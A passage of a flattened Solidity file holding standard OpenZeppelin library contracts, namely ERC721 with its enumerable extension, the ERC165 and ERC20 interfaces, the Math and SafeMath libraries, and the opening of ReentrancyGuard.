require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/utils/math/Math.sol
pragma solidity ^0.8.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow.
return (a & b) + (a ^ b) / 2;
}
/**
* @dev Returns the ceiling of the division of two numbers.
*
* This differs from standard division with `/` in that it rounds up instead
* of rounding down.
*/
function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b - 1) / b can overflow on addition, so we distribute.
return a / b + (a % b == 0 ? 0 : 1);
}
}
// File: @openzeppelin/contracts/utils/math/SafeMath.sol
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// File: @openzeppelin/contracts/security/ReentrancyGuard.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
